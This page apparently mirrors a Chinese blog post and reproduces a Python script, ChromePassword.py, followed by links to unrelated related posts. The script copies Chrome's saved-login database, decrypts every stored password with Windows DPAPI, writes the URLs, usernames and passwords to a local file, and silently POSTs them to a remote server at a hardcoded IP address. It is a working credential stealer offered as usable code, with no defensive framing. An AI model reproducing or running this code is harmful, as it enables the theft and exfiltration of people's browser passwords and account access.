zoukankan      html  css  js  c++  java
  • ChromePassword

    # -*- coding: utf-8 -*-
     2# @Author  : pwf
     3
     4# @Date    : 2019/5/18 22:53
     5# Software : PyCharm
     6# version:Python 3.6.8
     7# @File    : ChromePassword.py
     8
     9import os
    10import shutil
    11import sqlite3
    12import win32crypt
    13import json
    14import requests
    15
    16APP_DATA_PATH = os.environ["LOCALAPPDATA"]
    17DB_PATH = r'GoogleChromeUser DataDefaultLogin Data'
    18
    19
    20class ChromePassword:
    21
    22    def __init__(self):
    23        self.passwordsList = []
    24
    25    def get_chrome_db(self):
    26        _full_path = os.path.join(APP_DATA_PATH, DB_PATH)
    27        _tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file')
    28        if os.path.exists(_tmp_file):
    29            os.remove(_tmp_file)
    30        shutil.copyfile(_full_path, _tmp_file)
    31        self.show_passwords(_tmp_file)
    32
    33    def show_passwords(self, db_file):
    34        conn = sqlite3.connect(db_file)
    35        _sql = '''select signon_realm,username_value,password_value from logins'''
    36        for row in conn.execute(_sql):
    37            ret = win32crypt.CryptUnprotectData(row[2], None, None, None, 0)
    38            # 密码解析后得到的是字节码,需要进行解码操作
    39            _info = 'url: %-40s username: %-20s password: %s
    ' % 
    40                    (row[0][:50], row[1], ret[1].decode())
    41            self.passwordsList.append(_info)
    42        conn.close()
    43        os.remove(db_file)
    44
    45    def save_passwords(self):
    46        with open('password.txt', 'w', encoding='utf-8') as f:
    47            f.writelines(self.passwordsList)
    48
    49    def transfer_passwords(self):
    50        try:
    51            # 此处填写远端Flask对应的IP:PORT
    52            requests.post('http://192.168.1.102:9999/index',
    53                          data=json.dumps(self.passwordsList))
    54        except requests.exceptions.ConnectionError:
    55            pass
    56
    57
    58if __name__ == '__main__':
    59    Main = ChromePassword()
    60    Main.get_chrome_db()
    61    Main.save_passwords()
    62    Main.transfer_passwords()
  • 相关阅读:
    成为Emacs高手01-学习自带教程
    成为Emacs高手03-学习基础Elisp
    Google Drive For Linux
    Yet Another Scheme Tutorial 02
    1、Maven 基本配置
    eclipse添加easyExport插件,打开本地文件
    原创一看便知、Maven创建web项目
    1、启动oracle的步骤
    java正则表达式【大全】
    servlet上传下载(任何格式的都可以)
  • 原文地址:https://www.cnblogs.com/piwefei/p/11850131.html
Copyright © 2011-2022 走看看